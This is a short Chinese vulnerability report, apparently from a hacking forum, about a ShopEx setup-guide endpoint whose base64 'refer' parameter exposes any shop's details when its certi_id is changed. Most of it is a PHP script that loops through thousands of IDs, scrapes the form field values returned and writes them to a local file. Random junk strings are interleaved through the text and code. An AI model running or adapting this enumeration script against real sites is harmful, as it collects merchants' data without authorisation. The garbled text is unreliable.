ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
' X6 t! q9 C9 t7 B- x3 x问题出现在shopex 网店使用向导页面
, H# n6 `: D% ~" z2 q% E) o9 s
4 M8 z9 \4 B3 H/ w" k) }% y: f& f8 ^

" ~# x5 E; |5 S0 s7 J6 U, E" rhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


( b3 }# O+ k9 W2 ]' \
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
( a3 ]% b0 o3 |& y" x5 f


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
4 `  ?+ z0 [8 R7 z9 O2 H  c


7 U4 z3 s6 c6 k& X<?php
9 |) B1 d3 W2 g$ @3 T1 b
                for ($i=1; $i < 10000; $i++) { //遍历
* X2 ?% Q8 _" A& v- C. i. N/ y4 T
; k) d+ n7 `/ W/ K3 k                        ShowshopExD($i);

                }

5 w. ^! v( I6 b                function ShowshopExD($cid) {

; I: w# p% J$ f$ X4 V4 G7 @                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
/ N8 W6 b0 \0 H5 k/ s( B
- \! K: D% ?. X+ C8 c+ J3 U. J        $url = $url.'?refer='.$refer;
' ]/ v) H; r: A9 K  L! @" M
) K" @% [0 I% p. I        $ch = curl_init($url);

" F( n! L$ T8 z3 {0 B0 D        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
6 A$ Z6 x- L* _! O# C
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
2 b( g* Q/ x& |) z
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))

        {
5 P' h( Q" |1 |1 K) }# q7 W/ e. d; a8 i
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

9 r' D8 T6 T: ]% Z                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

4 ]% m# z# q. p$ y                        echo $res[1][0].':'.$res[3][0]."\r\n";
6 y8 D4 v8 U6 u4 Y; p
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
, [4 |* j& P6 m) z$ N$ o
                        fwrite($fp, $col, strlen($col));

  l; N- z2 t0 {7 N                }
% j% g( [' B" K" }" P/ Y" {* }/ a
5 |. k8 `' a# y* g7 J7 A                echo '--------------------------------'."\r\n";
$ Q) n& Q5 L' g2 i8 O
                fclose($fp);

& w, {$ a3 q! f        }

! F+ Z; o+ T1 K5 v# s1 S        flush();
% Z  W: {5 b$ P2 R8 c. R3 o$ D
, Z" ~# a" }$ ^( |        curl_close($ch);

                }
, A) E6 N. S! E' t5 l. b  G
?>
4 \  [# [7 w6 `& d$ n# G+ Z漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
% P3 W( z8 k: a# @refer换成其他加密方式